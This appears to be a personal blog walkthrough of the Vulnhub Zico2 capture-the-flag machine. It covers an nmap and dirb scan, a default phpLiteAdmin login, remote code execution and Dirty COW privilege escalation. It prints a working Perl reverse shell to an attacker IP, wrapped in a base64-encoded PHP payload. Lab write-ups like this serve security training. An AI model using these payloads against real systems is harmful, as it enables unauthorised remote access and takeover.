Vulnhub Zico2: 1 Walkthrough

This article is walk through about zico machine in vulnub

VM can download from here:

https://www.vulnhub.com/entry/zico2-1,210/

As a shortcut, the method I use:

LFI

operation system exploit

Let's Start:

As always, start finding the IP for machine, mine is 172.16.194.203

nmap scan, find port open on 22,80,111

dirb scan, found interesting dbadmin folder

after browse, found php login with password "admin"

After login, found version is phpLiteAdmin 1.9.3

phpLiteAdmin 1.9.3 is vulnerable to Remote Code Execution

https://www.exploit-db.com/exploits/24044/

After using RCE, for example I can execute "locate nc" in victim machine:

Exploit:

After some try and error, I found I can use perl reverse shell

found other kinds of reverse shell-> locate perl in /usr/bin/perl ->do /usr/bin/perl -h will give feedback

/usr/bin/perl -e 'use Socket;$i="172.16.194.142";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

which need to using base64 encode to following format:

<?php 

echo system(

base64_decode("

L3Vzci9iaW4vcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE2LjE5NC4xNDIiOyRwPTEyMzQ7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw==

")

)

?>

After put in default TEXT field, setup nc and got shell!

After searching, found wordpress actually installed, with wp-config.php which contain password:

using ssh login with zico, next using dirtycow for  privilege escalation and get the flag:

this machine has wget, so simply compile the exploit, 

wget into /tmp folder

exploit will provide new ssh login with username firefart and  password based on your input

Thanks for watching!

0xbc